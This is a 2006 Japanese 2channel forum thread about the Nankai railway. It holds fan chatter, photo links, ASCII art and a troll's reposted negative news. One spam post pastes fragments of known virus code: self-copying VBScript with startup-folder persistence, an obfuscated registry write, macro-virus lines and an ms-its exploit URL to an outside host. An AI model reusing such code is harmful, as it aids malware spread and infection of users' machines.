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【←萩茶】南海電気鉄道スレッドNa90【⇒岸玉】

1 :天下茶屋:2006/12/08(金) 23:37:58 ID:fukF04DA
大手私鉄の一つ、大阪は難波と泉州・和歌山・高野山・関空を結ぶ日本最古の私鉄、南海電気鉄道の本線・高野線(ウォッチ以外)・高師浜線・多奈川線・加太線・和歌山港線・過去の廃線区間について語りましょう。
なお、このスレは鉄道路線・車両板掲載の板のため、南海関係でもスレ違いの話が発生します。スレ違い・板違いにならないように、重々お気をつけ下さい。荒らしは放置。煽り厳禁!

聞き分けの無い珍作さんとそれを煽る厨は出てきても(・∀・)ニヤニヤ笑いながら出来たら無視しましょう。
どうせ珍作さんはコピペばかりで似たような事しか言いません。

ガイドラインを守りたくない人は新規にスレを立てて下さいね。立てないなら荒らすな。
流行語3語と成分分析の使いすぎには注意しようね。「使い方を間違えてる人」は(・∀・)ニヤニヤ笑いながら出来たら無視しましょう。
次スレ立てる時は>>900以降、相談してからね。

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前スレ 【←新今宮】南海電気鉄道スレッドNa89【⇒天下茶屋】
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タイトル永杉となりましたのでやむを得ず駅名を省略してま

2 :名無し野電車区:2006/12/08(金) 23:42:11 ID:cxlGf/xA
>>1


3 :名無し野電車区:2006/12/08(金) 23:43:37 ID:tDW3EsPK
>>1


4 :名無し野電車区:2006/12/08(金) 23:45:35 ID:7i9srFrB
重複
http://hobby7.2ch.net/test/read.cgi/rail/1165581791/

5 :名無し野電車区:2006/12/08(金) 23:45:52 ID:GTB90Wwn
>>1


6 :名無し野電車区:2006/12/08(金) 23:49:01 ID:oDPAy+86
>>1
6z

7 :名無し野電車区:2006/12/08(金) 23:50:21 ID:AseDmHud
で、アレはどこでやるのか

8 :名無し野電車区:2006/12/08(金) 23:52:32 ID:fukF04DA
さて、今後の問題として、「林間田園都市」が出てくるところではほぼ確実にタイトル永杉になるわけだが…
やっぱ「林間」?

9 :名無し野電車区:2006/12/08(金) 23:55:16 ID:Q0ieAXPz
1おつ

10 :名無し野電車区:2006/12/08(金) 23:56:11 ID:Qb0VUq47
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub

11 :名無し野電車区:2006/12/08(金) 23:58:54 ID:jJg02Vhl
>>1
乙ん

12 :名無し野電車区:2006/12/08(金) 23:59:59 ID:FsMdc9Po
>>1

13 :名無し野電車区:2006/12/08(金) 23:59:59 ID:gQrwoZGT
誰だトロイを張ってる馬鹿は?

14 :名無し野電車区:2006/12/09(土) 00:00:43 ID:cxlGf/xA
>>13
チンチン丸

15 :名無し野電車区:2006/12/09(土) 00:01:02 ID:Qb0VUq47
弱小私鉄の一つ、大阪は小便臭い難波とガラの悪い泉州・田舎臭い和歌山・観光客激減の高野山・JRに完敗の関空を結ぶ日本最低の私鉄
南海電気鉄道の本線・高野線(ウォッチ以外)・高師浜線・多奈川線・加太線・和歌山港線・過去の廃線区間について語りましょう。
なお、このスレは鉄道路線・車両板掲載の板のため、南海関係でもスレ違いの話が発生します。
スレ違い・板違いにならないように、重々お気をつけない。荒らしは歓迎。煽り推奨!

聞き分けのある珍作さんは出てきても(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。
どうせ珍作さんはコピペばかりで似たような事しか言いません。(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。
他スレから変なものをコピペしてきたり、既出のものを何度も挙げるのも歓迎。
何度もやってる珍作さんは(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。

ガイドラインを守りたくない人は新規にスレを立てない。立てたら荒らす。
なお、分かって荒らしている珍作さんは(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。
流行語3語と成分分析の使いすぎには注意しない。「使い方を間違えてる人」は(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。
主なガイドライン(お約束)・各種リンク、過去ログ、既出質問やくだらないネタは「まとめサイト」に掲載しています。
わざわざスレッドに貼り付けるの絶対歓迎。

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16 :名無し野電車区:2006/12/09(土) 00:01:44 ID:fukF04DA
>>13
センスの欠片もないアンチスレを建てた香具師

17 :名無し野電車区:2006/12/09(土) 00:02:19 ID:NO7fzpb2
4文字以上の駅名の略称は、スル関の裏面の乗車駅表示の方を採用すればいいと思う。
あれなら、最大でも3文字だし。

18 :名無し野電車区:2006/12/09(土) 00:03:04 ID:fukF04DA
なるほどその手があったか。<スル関

19 :名無し野電車区:2006/12/09(土) 00:05:42 ID:GTB90Wwn
●○*5●○*3●●○◎●○*7●*3○*7●○*2●◎◎CC◎BC○BB◎○◎○○BCB◎C◎○◎BB◎◎(27)
●C◎◎C◎B○◎◎◎B◎B◎◎B◎BC◎B○B(24) ●BC○BBDCBBC○B◎◎C◎◎B(18)
普通に4文字はaを無くし、5文字は外側の【】を無くせばいいんじゃね

20 :名無し野電車区:2006/12/09(土) 00:07:09 ID:cxlGf/xA
もしくはNを無くす、ッドを無くすという方法も過去にはとられた

21 :名無し野電車区:2006/12/09(土) 00:17:44 ID:Uur9IP7Q
>>1


22 :名無し野電車区:2006/12/09(土) 00:31:09 ID:ToPSg4NT
埋めオワタ

23 :名無し野電車区:2006/12/09(土) 00:31:43 ID:SCl9fWRV
1000 :名無し野電車区 :2006/12/09(土) 00:30:20 ID:m5xrhc+P
1000なら赤字南海、倒産
1000 :名無し野電車区 :2006/12/09(土) 00:30:20 ID:m5xrhc+P
1000なら赤字南海、倒産
1000 :名無し野電車区 :2006/12/09(土) 00:30:20 ID:m5xrhc+P
1000なら赤字南海、倒産
1000 :名無し野電車区 :2006/12/09(土) 00:30:20 ID:m5xrhc+P
1000なら赤字南海、倒産
1000 :名無し野電車区 :2006/12/09(土) 00:30:20 ID:m5xrhc+P
1000なら赤字南海、倒産
1000 :名無し野電車区 :2006/12/09(土) 00:30:20 ID:m5xrhc+P
1000なら赤字南海、倒産
1000 :名無し野電車区 :2006/12/09(土) 00:30:20 ID:m5xrhc+P
1000なら赤字南海、倒産
1000 :名無し野電車区 :2006/12/09(土) 00:30:20 ID:m5xrhc+P
1000なら赤字南海、倒産
1000 :名無し野電車区 :2006/12/09(土) 00:30:20 ID:m5xrhc+P
1000なら赤字南海、倒産
1000 :名無し野電車区 :2006/12/09(土) 00:30:20 ID:m5xrhc+P
1000なら赤字南海、倒産
1000 :名無し野電車区 :2006/12/09(土) 00:30:20 ID:m5xrhc+P
1000なら赤字南海、倒産
1000 :名無し野電車区 :2006/12/09(土) 00:30:20 ID:m5xrhc+P
1000なら赤字南海、倒産
1000 :名無し野電車区 :2006/12/09(土) 00:30:20 ID:m5xrhc+P
1000なら赤字南海、倒産
1000 :名無し野電車区 :2006/12/09(土) 00:30:20 ID:m5xrhc+P
1000なら赤字南海、倒産

24 :名無し野電車区:2006/12/09(土) 00:31:53 ID:Uur9IP7Q
煎茶白玉て何やねん

25 :名無し野電車区:2006/12/09(土) 00:32:40 ID:I9vW4Z22
前スレ999バロスwww

26 :名無し野電車区:2006/12/09(土) 00:34:26 ID:SCl9fWRV
重複誘導
【代アニの】南海電気鉄道スレッドNa90【二の舞】
http://hobby7.2ch.net/test/read.cgi/rail/1165581791/

27 :名無し野電車区:2006/12/09(土) 00:35:18 ID:/0vjJoxK
>>26
本文の主旨違いにより別スレと判断

28 :名無し野電車区:2006/12/09(土) 00:40:38 ID:ToPSg4NT
wyxe
http://www.agui.net/imglog/20/img-box/img20061207180931.jpg

29 :名無し野電車区:2006/12/09(土) 00:41:32 ID:ToPSg4NT
wyxe
http://www.agui.net/imglog/20/img-box/img20061207181120.jpg

30 :名無し野電車区:2006/12/09(土) 00:42:05 ID:/0vjJoxK
やや
これは良い1051F自特

31 :名無し野電車区:2006/12/09(土) 00:43:03 ID:ToPSg4NT
wyxe
http://www.agui.net/imglog/20/img-box/img20061207181253.jpg

32 :名無し野電車区:2006/12/09(土) 00:52:16 ID:tC4J+lHf
>>1乙と
言ってなかった
今日この頃

33 :名無し野電車区:2006/12/09(土) 00:53:00 ID:tC4J+lHf
>>31
いつの間に
元に戻ったか
パートナー
今頃気づいて
焦る夜中よ

34 :名無し野電車区:2006/12/09(土) 00:53:45 ID:TFFyAXkR
>>1
otsu

35 :名無し野電車区:2006/12/09(土) 00:58:40 ID:ToPSg4NT
wyxe
http://www.agui.net/imglog/20/img-box/img20061207182159.jpg

36 :名無し野電車区:2006/12/09(土) 01:02:51 ID:aJJyToE3
             , ───────────────
           | どもも。カビじゃないも。
    ,. ' ' ''  、  ノ'───────────────
  ,.'         '.,
  ; ●     ● ;
  ',.  'ー'^'ー'  ,'
  丶、, , , , , ,,.

37 :名無し野電車区:2006/12/09(土) 01:03:23 ID:aJJyToE3
            ,___
       ,,   ´    :::.:.,
      . ´         ::.、
   , '´            `:..,
  ,.' ,. - 、         ,. - 、:.:',     加太線てさ…
  ,' l:::::::::::}        {::::::::::::}:.;     夕日が美しいよね…
  ;  廴:::ノ    ,     廴:::ノ:.:;
  .;    ゝ___ハ、___ノ   . ::.:::;
  ',               : :.:::::;;'
   ゙ 、            . : ::.::; ''
    ` ー - - - - - - ― '"´

38 :名無し野電車区:2006/12/09(土) 01:03:44 ID:tC4J+lHf
カビwww

39 :名無し野電車区:2006/12/09(土) 01:05:53 ID:ToPSg4NT
wyxe
http://www.agui.net/imglog/20/img-box/img20061207182446.jpg

40 :名無し野電車区:2006/12/09(土) 01:06:28 ID:ToPSg4NT
wyxe
http://www.agui.net/imglog/20/img-box/img20061207182708.jpg

41 :名無し野電車区:2006/12/09(土) 01:19:27 ID:V3SgiWF+


  ク    ク   || プ  / ク   ク  || プ  /
  ス  ク ス _  | | │ //. ス ク ス _ | | │ //
  / ス   ─  | | ッ // /  ス   ─ | | ッ //
   / _____  // /          //
    /   l⌒l l⌒l \  ))   ____
  . / / ̄| ,=| |=、| ̄ヾ   / ____ヽ
  / ̄/ ̄.  ー'●ー'  ̄l ̄ |  | /, −、, -、l  ))
  | ̄l ̄ ̄  __ |.    ̄l ̄.| _| -| ,=|=、 ||
  |. ̄| ̄ ̄  `Y⌒l__ ̄ノ ̄ (6.   ー っ-´、}
  ヽ  ヽ    人_(  ヾ    ヽ    `Y⌒l_ノ   減損処理で当期赤字に 南海電鉄決算
    >〓〓〓〓〓〓-イ   /ヽ  人_(  ヽ      ttp://www.asahi.com/kansai/news/OSK200605120072.html
  /   /  Θ  ヽ|  /    ̄ ̄ ̄ ヽ-イ



42 :名無し野電車区:2006/12/09(土) 01:19:31 ID:ToPSg4NT
wy
http://www.agui.net/imglog/20/img-box/img20061208005445.jpg

43 :名無し野電車区:2006/12/09(土) 01:20:07 ID:V3SgiWF+


                ◆◇◆◇◆ 減損処理で当期赤字に 南海電鉄決算 ◆◇◆◇◆


                                                2006年05月12日


       南海電気鉄道が12日発表した06年3月期連結決算は、売上高が前期比2.9%減の1904億円、
      来園者が減少している遊園地「みさき公園」(大阪府岬町)などの減損処理で発生した特別損失が
      210億円に上り、当期損益は65億円の赤字になった。

                ソース:www.asahi.com/kansai/news/OSK200605120072.html



44 :名無し野電車区:2006/12/09(土) 01:20:27 ID:ToPSg4NT
wy
http://www.agui.net/imglog/20/img-box/img20061208172147.jpg

45 :名無し野電車区:2006/12/09(土) 01:20:51 ID:V3SgiWF+

                     南海電鉄 アスベストむき出し


南海電鉄によりますと、あわせて13の駅で天井のはりなどにアスベストが使われており、中でも大阪市内と
堺市内の6つの駅ではアスベストを吹きつけた部分が密閉されず、一部がむき出しになっていて、薬品などで
固定する措置も取られていないということです。
このうち、1つの駅では、近く予定されている改築に合わせてアスベストを撤去しますが、ほかの5つの駅では
撤去や密閉などの新たな措置は今のところ考えていないということです。

これについて南海電鉄の総務部は、現状でもアスベストが飛び散るおそれはないとしており、アスベストが
むき出しになっている駅がどこかは明らかにしていません。

一方、大阪の大手私鉄、京阪電鉄によりますと、4つの駅で建物にアスベストが吹き付けられており、このうち、
大阪・枚方市の村野駅の屋根の一部でアスベストがむき出しになっているということです。
京阪電鉄でも、アスベストが飛散する心配はほとんどないとしていますが、近く、撤去することにしています。

このほか、近鉄でも5つの駅でアスベストが吹き付けられていますが、飛散しないように固定する措置を取って
いるため、健康上の心配はないとしています。
ttp://www3.nhk.or.jp/news/2005/08/02/d20050802000028.html


46 :名無し野電車区:2006/12/09(土) 01:21:42 ID:V3SgiWF+

    ◇◆◇◆◇ 南海電鉄が申告漏れ 3年間で3億5000万円(共同通信) ◇◆◇◆◇


南海電気鉄道(大阪市中央区)が大阪国税局の税務調査を受け、2001年3月期までの3年間で約3億5000万円の
申告漏れを指摘されていたことが21日、分かった。

同国税局は、施設の減価償却費として損金計上した約1000万円について所得隠しと認定、重加算税、過少申告加算税を
含め約1億1000万円を追徴課税(更正処分)した。

関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約1000万円を計上。

しかし、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして
重加算税の対象にしたという。

また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。
不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。

ttp://news.goo.ne.jp/news/topics/index/02122/1.html


47 :名無し野電車区:2006/12/09(土) 01:22:33 ID:V3SgiWF+

       ◆◇◆◇◆  運転士と車掌が女性監禁 トイレで強制わいせつ  ◆◇◆◇◆


23歳コンパニオンをトイレに監禁、体触る

 兵庫県警有馬署は25日、強制わいせつと監禁の疑いで、南海電鉄運転士上野敦弘(34=大阪府羽曳野市)、南海電鉄車掌喜多信也(33=和歌山県橋本市)の両容疑者を逮捕した。

 調べでは、両容疑者は共謀。5月29日午後8時50分ごろ、神戸・有馬温泉のホテルで、コンパニオン女性(23)を男性トイレに連れ込み施錠、体に触るなどのわいせつ行為をした疑い。両容疑者は「合意の上だった」と容疑を否認しているという。

 両容疑者は同期入社の社員十数人と有馬温泉に宿泊。宴会場でコンパニオン数人の接待を受け、2次会でホテル内のバーに移動した。2次会ではコンパニオン数人の時間を延長して接待を受けていた。

 両容疑者は女性がトイレへ行くため席を立ったところ「ちょっと来て」と誘い、手を引っ張ってトイレに連れ込んだという。両容疑者は約40分間、女性をトイレに監禁し、わいせつな行為に及んだという。]
同僚のコンパニオン女性が席に戻ってこない女性を心配し、男子トイレを外からノックしたが、反応はなかったという。6月上旬に女性が同署に被害届を提出した。

ttp://osaka.nikkansports.com/news/p-on-tp6-20060726-66186.html


48 :名無し野電車区:2006/12/09(土) 01:28:07 ID:ToPSg4NT
wyxe
http://www.agui.net/imglog/20/img-box/img20061208232314.jpg

49 :名無し野電車区:2006/12/09(土) 01:37:15 ID:V3SgiWF+

         ◆ ◆ ◆ 「うるさい」と子ら暴行容疑 〜高石 南海電車内で〜 ◆ ◆ ◆


 27日午後1時ごろ、大阪府高石市羽衣5丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、子ども会で
アイススケートに行く途中だった同府岸和田市の小学4年生の男児(10)の腰をけった。
男児ははずみでホームに押し出され転倒。

 男はさらに引率者の会社員男性(40)の顔を殴ったが、男性にその場で取り押さえられ、高石署に暴行と傷害容疑で
現行犯逮捕された。

 調べでは、男は高石市高師浜1丁目の無職藤本崇之容疑者(24)。
男児らは約70人のグループで電車に乗っており、藤本容疑者は「子どもたちがうるさかった」と供述しているという。

ソース:朝日新聞2月28日付朝刊35頁社会面


50 :名無し野電車区:2006/12/09(土) 01:38:01 ID:V3SgiWF+

(11月29日の社会面ニュース)

4少年が電車・駅で女子高生にわいせつ行為 容疑で逮捕
--------------------------------------------------------------------------------


 大阪府立高校の男子生徒3人を含む少年4人が、女子高校生に電車内などで
わいせつな行為をしたとして、府警は29日、いずれも同府岸和田市内に住む
高校3年の男子生徒(18)と会社員(17)を強制わいせつ容疑で、16、17歳の
高校1年の男子生徒2人を強制わいせつ幇助(ほうじょ)容疑で逮捕した、と発表した。
少年らは、女子生徒が電車から降りた後、便所に連れ込んでわいせつ行為を続けたという。

 少年課の調べでは、高3の男子生徒は10月11日午後10時10分ごろ、
南海みさき公園発難波行きの電車内で、同じ車両に居合わせた女子生徒を隣に座らせ、
25分にわたって体を触るなどした疑い。
女子生徒が乗り換えのため岸和田駅で下車したところ、この男子生徒と会社員の少年は
女子生徒を同駅の男子トイレに連れ込んで約10分間、わいせつな行為を続けた疑い。
高1の2人は電車内ではやし立てたり、トイレ外側で見張ったりして2人を助けた疑い。

 同課によると、女子生徒は電車内で「やめてください」などと助けを求めたが、
当時車内にいた数人の客は助けようとしなかった。
車掌や駅員も気づかなかったという。
少年4人は遊び仲間で、女子生徒とは面識がなかった。

ttp://www.asahi.com/kansai/news/OSK200411300005.html


51 :名無し野電車区:2006/12/09(土) 01:38:53 ID:V3SgiWF+

       ■「世界遺産登録に“超高層”の影」 2006/05/23 放送 (長文のため一部省略)


この4月に関西で4番目、全国で15番目に政令市となった大阪府堺市が、再開発問題で頭を痛めています。
超高層マンションで駅前を一気に活性化しようというものなんですが、堺市が世界に誇る歴史遺産の未来に暗い影を落としているんです。

しかし去年9月、竹川さんの耳に信じられないニュースが飛び込んできました。
なんと45階建て、高さ152メートルのタワーマンションが建つというのです。

世界遺産登録をめざす堺市でなぜこんなことが起こるのでしょうか。

建設予定地は以前南海電鉄の操車場でしたが、移転に伴い、遊休地となっていました。
それがおととしの5月、都心活性化のための特別措置法で、駅西側の商業地とともに、高さ制限のない緊急整備地域に指定されました。
そこに南海電鉄は、超高層マンション計画を立ち上げたのです。

〈南海電鉄住宅事業部・田中裕二部長〉
「町が変わるんだ、中心地が活性化するんだと。こういうことの起爆剤、呼び水になると考えています。
(超高層マンションは)違和感のない景観だと思っています」

                   <続く>


52 :名無し野電車区:2006/12/09(土) 01:39:32 ID:V3SgiWF+

しかしこの計画地、反正陵からわずか120メートル。
完成したら周囲の景観は激変し、世界遺産登録への影響が心配されます。
反対派住民は計画の見直しを訴えましたが、南海電鉄との話し合いは平行線のままです。

地元で反対運動を進める吉田さんらは、手作りの模型で、マンションの及ぼす影響を説明してきました。
〈地元対策協議会・吉田暢事務局長〉
「イメージがわかない方もおられるんで、『ピラミッドの横に150メートルの建物が建つという風にお考え頂いたら
よくわかりますよ』と。あぁそういうことかと」
吉田さんのもとには、すでに7,000人を越える署名が集まりました。

堺市の有識者会議にも名を連ねる専門家はこう指摘します。
〈京都府立大学・宗田好史助教授〉
「あえて、今から登録をめざす遺産の中に高層ビル、それも地元の反対があるとなれば絶望的ですね」

世界遺産か高層マンションか。

ttp://mbs.jp/voice/special/200605/23_2733.shtml


53 :名無し野電車区:2006/12/09(土) 01:40:26 ID:V3SgiWF+

            ◆◇◆◇◆ 踏切の電源入れ忘れ作動せず8列車通過 南海和歌山港線 ◆◇◆◇◆

                                              2006年10月20日20時46分


 和歌山市網屋町の南海和歌山港線「久保町2号踏切」で20日始発から午前8時半ごろまで、警報機や遮断機が作動せず、特急や急行など計8本の列車がそのまま通過した。
未明にあった点検作業のため電源を切ったまま忘れていたのが原因という。
現場は工場が密集する地域で人通りは少なく、けが人はなかった。

 南海電気鉄道によると同日午前0時半ごろ、踏切や信号機などに電気を送る電源装置の定期点検のため、同線の踏切11カ所の電源を切った。
点検が終わった午前3時ごろから、社員2人が電源を入れて回ったが、ここだけ復旧し忘れたという。

 午前8時5分ごろ、現場手前で急行列車の運転士が異常に気付き、本社に連絡した。
同社は「初歩的なミスで大変申し訳ない。作業手順の厳守とチェックを徹底する」としている。

ttp://www.asahi.com/national/update/1020/OSK200610200054.html


54 :名無し野電車区:2006/12/09(土) 01:44:45 ID:/0vjJoxK
>>44
これはよいノーマル1000

おやすみ

55 :名無し野電車区:2006/12/09(土) 01:48:30 ID:tC4J+lHf
おやすみ

56 :名無し野電車区:2006/12/09(土) 01:57:20 ID:NmGDa0Fm
いよいよ来年は50000系の東武譲渡か

57 :名無し野電車区:2006/12/09(土) 02:20:59 ID:W/7iYNB8
「50000系の東武」が南海に譲渡だとぉ!?

58 :名無し野電車区:2006/12/09(土) 02:21:03 ID:m5xrhc+P
南海電鉄で囁かれる「最悪のシナリオ」
怪文書が指摘する疑惑の数々、疑惑に発展か

 経企庁による“大本営発表”の数字はともかく、いまだ景気の回復はその兆しすら見えてこないという状況の中、私鉄各社の経営も依然として厳しい状態が続いている。
各社とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくない。中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況はかなり厳しい様相を呈している。
しかも、同社を巡っては、一年ほど前から経営陣を批判する数種類の怪文書も出回っており、その騒動の余波は未だに尾を引いている‥‥。
 さる五月末、同社の二〇〇〇年三月期決算が発表されたが、その数字を見ても同社の置かれた状況がいかに厳しいものかがうかがえる。
 近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ千百九十九億円と、
前年同期比で一・六%の伸びを示したものの、経常利益では十九億円と、前年同期比では実に二七・五%もの減少という惨憺たる結果になっている。
さらにいえば、税引き後利益はほぼゼロで、前年同期比ではなんと九八・四%ものマイナス。

59 :名無し野電車区:2006/12/09(土) 02:21:36 ID:m5xrhc+P
「全国的に見ても、関西の雇用情勢は相変わらず厳しい上に、少子高齢化やマイカーへの需要シフトといった構造的なマイナス要因もあることは確かですが、それでも、
大手五社の中で経常利益が前年同期比でマイナスに転じたのは南海だけです。もっとも、各社とも、主力の鉄道事業だけをみればそれぞれ前年よりも収益が減っているのも確かですが
南海の場合、業績不振の観光事業子会社を整理したり、希望退職者への割増退職金などを特別損失として約二百億円計上したことが大きかったようです。それでも、
これだけなら本来なら経常段階でも赤字転落は免れなかったんですが、難波地区の再開発用地の一部を民間都市開発推進機構へ売却して、その売却益でかろうじて黒字にしているという状態なんです」(在阪の経済誌記者)
 実際、グループ会社も含めた連結決算ではもっと惨憺たる結果が出ており、
連結の売上高でも当初予想を八十億円下回り、最終損益では二十四億円の赤字となっている。前期はかろうじて三億円の黒字をキープしたが、連結での赤字転落はA連結決算を公表して以来、初めてのことだという。
 こうした厳しい状況もあってか、労使間の対立も以前にも増してかなり厳しい状況になっているようで、その余波なのか、昨年春以降、経営陣を批判する怪文書も出回って、関係者の注目を集めているのだ。

60 :名無し野電車区:2006/12/09(土) 02:22:19 ID:m5xrhc+P
       南海電鉄、堺に148メートルのマンション計画 仁徳陵を一望、住民「景観壊す」


 堺市内に建設が計画されている高さ約百四十八メートルの超高層マンションから、国内最大の前方後円墳の仁徳天皇陵(堺区)が
“丸見え”になることがわかった。
天皇陵との距離は約一キロ。同市は世界遺産登録を目指しているが、地元住民からは「景観悪化につながる」と建設反対の動きも。
中には「天皇陵を見下ろすことに問題はないのか」の声もある。
建設主の南海電鉄は数回にわたり住民説明会を開いているが、景観論争の決着には時間がかかりそうだ。

 南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタール。
四十二階と十五階の二棟約五百戸で、平成二十一年三月のオープンを予定している。
高さ約百四十八メートルは市内で最も高い建物となる。ただ、仁徳天皇陵からの距離は北西にわずか約一キロ。
同電鉄不動産営業本部では「自然環境豊かな仁徳陵の眺望は、最大のウリ」という。

 同電鉄では、計画を打ち出した昨年九月以降、二カ月に一度のペースで地元住民らに説明会を実施しているが、
周辺住民は猛反発。天皇陵を含む百舌鳥古墳群の世界文化遺産登録に向け、マンション建設が水を差すというのが主な理由だ。

 地元住民で建設に反対する上村雄彦・大阪府立大名誉教授は「明らかに景観を破壊しており、
建設を中止しなければ世界遺産登録はありえない」と指摘。
ユネスコ(国連教育科学文化機関)は、世界文化遺産のケルン大聖堂(独)の周辺で高層ビル開発の計画が
持ち上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。

 住民らは今月二十日にも建設中止を求める要望書を市に提出する予定だが、市建築都市局は「古墳の周囲には、
低いながらもすでに家やマンションが建っている。現場に高さ制限はなく、建築基準法をクリアしていれば問題ない。
堺の中心地に人を呼び戻す絶好のチャンスと期待している」。
ttp://www.sankei.co.jp/news/060419/evening/20iti001.htm

61 :名無し野電車区:2006/12/09(土) 02:23:00 ID:m5xrhc+P
★★★★★★★★★★★★★★★★ 南海電鉄、単体209.45億円の赤字転落 ★★★★★★★★★★★★★★★★


南海電<9044.OS>:中間単体、05年9月当期赤字転落209.45億円、06年3月見通142億円の赤字
2005年 11月 15日 火曜日 14:23 JST

[東京 15日 ロイター]


2005年9月(2005年4月1日-2005年9月30日) 注) カッコ内は前年比、△は赤字
05年9月中間期 04年9月中間期 06年3月期見通 05年3月期実績
売上高 (百万円) 35,618 51,775 70,200 100,025
(-31.2%)
営業利益 (百万円) 6,790 8,914
(-23.8%)
経常利益 (百万円) 3,490 3,438 3,000 5,988
(+1.5%)
当期利益 (百万円) △20,945 4,963 △14,200 5,490
1株利益 (円)   △39.90 9.45 △27.05 10.45
発行済株式総数(千株) 524,859 525,266
1株配当 (円)   0.00 0.00 -- 4.00

ttp://today.reuters.co.jp/stocks/FinanceArticle.aspx?view=CN&symbol=9044.OS&storyid=64783+15-Nov-2005+RTRS

62 :名無し野電車区:2006/12/09(土) 02:24:04 ID:m5xrhc+P
★★★★★★★★★★★★★★★★ 南海電鉄、連結192.45億円の赤字転落 ★★★★★★★★★★★★★★★★


南海電<9044.OS>:中間連結、05年9月当期赤字転落192.45億円、06年3月見通110億円の赤字
2005年 11月 15日 火曜日 14:23 JST

[東京 15日 ロイター]


2005年9月(2005年4月1日-2005年9月30日) 注) カッコ内は前年比、△は赤字
05年9月中間期 04年9月中間期 06年3月期見通 05年3月期実績
売上高 (百万円) 91,090 99,560 192,000 196,210
(-8.5%)
営業利益 (百万円) 12,719 10,682
(+19.1%)
経常利益 (百万円) 7,438 4,791 10,000 9,470
(+55.2%)
当期利益 (百万円) △19,245 6,616 △11,000 7,737
1株利益 (円)   △36.73 12.65 △20.96 14.79
営業活動CF(百万円) 17,982 20,236

ttp://today.reuters.co.jp/stocks/FinanceArticle.aspx?view=CN&symbol=9044.OS&storyid=64776+15-Nov-2005+RTRS

63 :名無し野電車区:2006/12/09(土) 03:14:07 ID:m5xrhc+P
借入金は時価総額などと比べると実情が比較的表れます。

南海借入金残高268,583百万円 時価総額228,989百万円 117.3%(時価総額に占める借入金割合)
阪急借入金残高500,026百万円 時価総額672,650百万円 74.3%
阪神借入金残高134,774百万円 時価総額396,353百万円 34.0%
近鉄借入金残高469,698百万円 時価総額759,681百万円 61.8%
京阪借入金残高114,164百万円 時価総額239,947百万円 47.5%

こう見れば各社の状態がわかる。
南海は借入金が企業規模の割には大き過ぎるる上に金利が高い。
一線を越えてしまっている。
近鉄も注意を要するが南海ほどでもない。京阪は底を脱したのが鮮明に。
阪急は借入金はやや多いが金利は安く抜群の収益力でカバー。
堅実派として名の通る阪神は借入金は元から少なめ。金利は高いが収益力を考慮すれば問題はない。
これでは社債は金利を高くしないと厳しいだろう。

64 :名無し野電車区:2006/12/09(土) 03:14:43 ID:m5xrhc+P
南海の運転ミスによる情けない事故の歴史


●男里川事故…踏切でトラックと衝突して川へ転落
            後で運転士が自分の子供を抱えながら運転していたことがバレて大問題に


●羽倉崎事故…回送車両が車止めを越え更に道路向かいの仏壇屋へ特攻
            担当の入換運転士曰く「天気が良かったので空に見とれていたら(ry」


●住ノ江事故…同じく回送車両がATSを切った状態で冒進、高架下のプールにダイブ未遂
           この運転士の言い訳は「急いで帰りたかった」

65 :名無し野電車区:2006/12/09(土) 03:15:17 ID:m5xrhc+P
<住んでみたい街(関西)トップ10>に、南海ヲタご自慢の「帝塚山」をはじめ南海沿線の街が1つも出てこなかった上、
トップ10の街すべてを阪急沿線に独占され、阪急にお話にもならない惨敗を喫した南海w
しょせん、スラム街の南海沿線なんぞに住みたいなどというバカでキモい奴など、南海ヲタ以外には存在しないということが
改めて証明された(プゲラ


             住んでみたい街(関西)トップは「芦屋」

ソース ttp://allabout.co.jp/house/townkansai/closeup/CU20060925A/

66 :名無し野電車区:2006/12/09(土) 03:15:53 ID:m5xrhc+P
現在の会社の経営状況があまりにもひどすぎるので、せめて現実逃避しようと旧塗装撮影会でシコシコとオナニーした、
情けない赤字南海&南海ヲタ









    おらあああ!! モギャ!       ∧_∧
 ―=≡三 ∧_∧      \从从///  (´∀` ) 三≡=―
―=≡三と(#´∀`)つ''"´" ∧_ノ;*;''"´"''::;:,( 阪急 つ 三≡=―
